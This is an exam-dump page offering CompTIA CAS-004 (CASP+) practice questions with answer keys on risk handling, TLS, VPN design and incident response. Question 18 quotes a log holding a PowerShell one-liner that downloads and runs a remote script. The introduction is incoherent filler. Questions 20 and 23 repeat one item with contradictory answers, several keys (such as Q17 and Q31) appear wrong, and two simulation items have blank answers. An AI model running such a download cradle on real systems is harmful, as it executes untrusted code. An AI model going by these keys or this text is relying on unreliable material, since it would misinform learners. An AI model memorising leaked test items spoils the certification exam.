Prepare CAS-004 Question Answers - CAS-004 Exam Dumps
Real CompTIA CAS-004 Exam Questions [Updated 2022]
Introduction of CompTIA CAS-004 Exam
The CompTIA Advanced Security Practitioner exam is designed to validate a person's ability to configure and administer security policies on a stand-alone computer system or network. This means the person must be able to identify, analyze, and correct problems associated with security breaches. The candidate must also have the skills necessary to maintain the security of a stand-alone or networked computer system or data communication facility. If you are interested in the CompTIA CAS-004 exam, this is the place for you! Here at CompTIA CAS-004 exam dumps we have taken great care to ensure that the questions and answers in our CompTIA CAS-004 braindumps are accurate and easy to understand. We guarantee that if you become addicted to our website, it will be because of the quality of our products and not because of any frustrating difficulty level.
What is the Certification Path of CompTIA CAS-004 Exam
The CompTIA Advanced Security Practitioner certification (CAS-004) is a validation of knowledge and skills required of a senior-level IT security professional to establish, implement, maintain and continuously monitor an organization's security program. The exam validates the hands-on skills required of seasoned professionals who have experience in network administration, risk management and compliance these types of questions also covered in CompTIA CAS-004 exam dumps. CompTIA CAS-004 Certification is the first step toward a career in information security, and provides a comprehensive knowledge base to make informed decisions and develop security policies and procedures that meet the needs of an enterprise.
The CompTIA CAS-004 certification is based on the information security foundation concepts provided by the organization. Current reviewing guides are available for the CompTIA Network+ certification. Computing environment regulations like the Globally Harmonized System of Classification and Labelling of Chemicals (GHS) are updated in the different countries. Readiness roles focus on giving people the skills needed to prepare for, perform and succeed in a mission-critical environment. Integrate mobility centre in your IT infrastructure. Transferred frameworks infrastructure automation logon are available for free. The Transferred framework is an open source platform that allows the user to deploy, manage, and maintain secure remote workforce engagement solutions. Pool activities buffer pooling. Potential tenancy domain constantly changes, and this impacts your data.
NEW QUESTION 17
An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact.
Which of the following should the organization perform NEXT?
- A. Assess the residual risk.
- B. Update the organization's threat model.
- C. Recalculate the magnitude of impact.
- D. Move to the next risk in the register.
Answer: C
NEW QUESTION 18
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl');whois Which of the following security controls would have alerted and prevented the next phase of the attack?
- A. Forward proxy and MFA
- B. EDR and application approved list
- C. Reverse proxy and sandbox
- D. Antivirus and UEBA
Answer: B
Explanation:
Explanation
An EDR and whitelist should protect from this attack.
NEW QUESTION 19
An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:
ERR_SSL_VERSION_OR_CIPHER_MISMATCH
Which of the following is MOST likely the root cause?
- A. The client application is configured to use AES-256 in GCM.
- B. The client application is configured to use ECDHE.
- C. The client application is testing PFS.
- D. The client application is configured to use RC4.
Answer: D
NEW QUESTION 20
An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently,
the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.
Which of the following designs would be BEST for the CISO to use?
- A. Implementing IDS services with each VPN concentrator
- B. Distributing security resources across VPN sites
- C. Using Base64 encoding within the existing site-to-site VPN connections
- D. Transitioning to a container-based architecture for site-based services
- E. Adding a second redundant layer of alternate vendor VPN concentrators
Answer: E
Explanation:
If on VPN concentrator goes down due to a zero day threat, having a redundant VPN concentrator of a different vendor should keep you going.
NEW QUESTION 21
A bank is working with a security architect to find the BEST solution to detect database management system compromises. The solution should meet the following requirements:
* Work at the application layer
* Send alerts on attacks from both privileged and malicious users
* Have a very low false positive
Which of the following should the architect recommend?
- A. WAF
- B. DAM
- C. NIPS
- D. FIM
- E. UTM
Answer: B
NEW QUESTION 22
Company A acquired Company . During an audit, a security engineer found Company B's environment was inadequately patched. In response, Company A placed a firewall between the two environments until Company B's infrastructure could be integrated into Company A's security program.
Which of the following risk-handling techniques was used?
- A. Transfer
- B. Avoid
- C. Mitigate
- D. Accept
Answer: C
NEW QUESTION 23
An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.
Which of the following designs would be BEST for the CISO to use?
- A. Adding a second redundant layer of alternate vendor VPN concentrators
- B. Distributing security resources across VPN sites
- C. Using Base64 encoding within the existing site-to-site VPN connections
- D. Transitioning to a container-based architecture for site-based services
- E. Implementing IDS services with each VPN concentrator
Answer: E
NEW QUESTION 24
A company security engineer arrives at work to face the following scenario:
1) Website defacement
2) Calls from the company president indicating the website needs to be fixed Immediately because It Is damaging the brand
3) A Job offer from the company's competitor
4) A security analyst's investigative report, based on logs from the past six months, describing how lateral movement across the network from various IP addresses originating from a foreign adversary country resulted in exfiltrated data Which of the following threat actors Is MOST likely involved?
- A. Competitor
- B. APT/nation-state
- C. Script kiddie
- D. Organized crime
Answer: B
NEW QUESTION 25
An organization mat provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of sell-healing that includes monitoring performance and available resources. When me system detects an issue, the self-healing process is supposed to restart pans of me software.
During the incident, when me self-healing system attempted to restart the services, available disk space on the data drive to restart all the services was inadequate. The self-healing system did not detect that some services did not fully restart and declared me system as fully operational. Which of the following BEST describes me reason why the silent failure occurred?
- A. The system logs rotated prematurely.
- B. Conditional checks prior to the service restart succeeded.
- C. The disk utilization alarms are higher than what me service restarts require.
- D. The number of nodes in me self-healing cluster was healthy,
Answer: B
NEW QUESTION 26
The OS on several servers crashed around the same time for an unknown reason. The servers were restored to working condition, and all file integrity was verified. Which of the following should the incident response team perform to understand the crash and prevent it in the future?
- A. Continuity of operations plan
- B. Root cause analysis
- C. After-action report
- D. Lessons learned
Answer: B
NEW QUESTION 27
A systems administrator is preparing to run a vulnerability scan on a set of information systems in the organization. The systems administrator wants to ensure that the targeted systems produce accurate information especially regarding configuration settings.
Which of the following scan types will provide the systems administrator with the MOST accurate information?
- A. An active, non-credentialed scan
- B. A passive, credentialed scan
- C. An active, credentialed scan
- D. A passive, non-credentialed scan
Answer: C
NEW QUESTION 28
The Chief information Officer (CIO) wants to establish a non-banding agreement with a third party that outlines the objectives of the mutual arrangement dealing with data transfers between both organizations before establishing a format partnership. Which of the follow would MOST likely be used?
- A. SLA
- B. MOU
- C. NDA
- D. OLA
Answer: B
NEW QUESTION 29
Which of the following protocols is a low power, low data rate that allows for the creation of PAN networks?
- A. Zigbee
- B. CAN
- C. Modbus
- D. DNP3
Answer: A
NEW QUESTION 30
An organization is planning for disaster recovery and continuity of operations.
INSTRUCTIONS
Review the following scenarios and instructions. Match each relevant finding to the affected host.
After associating scenario 3 with the appropriate host(s), click the host to select the appropriate corrective action for that finding.
Each finding may be used more than once.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION 31
Which of the following is a benefit of using steganalysis techniques in forensic response?
- A. Maintaining chain of custody for acquired evidence
- B. Breaking a symmetric cipher used in secure voice communications
- C. Determining the frequency of unique attacks against DRM-protected media
- D. Identifying least significant bit encoding of data in a .wav file
Answer: C
NEW QUESTION 32
An organization is planning for disaster recovery and continuity of operations.
INSTRUCTIONS
Review the following scenarios and instructions. Match each relevant finding to the affected host.
After associating scenario 3 with the appropriate host(s), click the host to select the appropriate corrective action for that finding.
Each finding may be used more than once.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION 33
An analyst execute a vulnerability scan against an internet-facing DNS server and receives the following report:
Which of the following tools should the analyst use FIRST to validate the most critical vulnerability?
- A. Password cracker
- B. Account enumerator
- C. Port scanner
- D. Exploitation framework
Answer: A
NEW QUESTION 34
A Chief information Security Officer (CISO) is developing corrective-action plans based on the following from a vulnerability scan of internal hosts:
Which of the following MOST appropriate corrective action to document for this finding?
- A. The system administrator should evaluate dependencies and perform upgrade as necessary.
- B. The product owner should perform a business impact assessment regarding the ability to implement a WAF.
- C. The security operations center should develop a custom IDS rule to prevent attacks buffer overflows against this server.
- D. The application developer should use a static code analysis tool to ensure any application code is not vulnerable to buffer overflows.
Answer: B
NEW QUESTION 35
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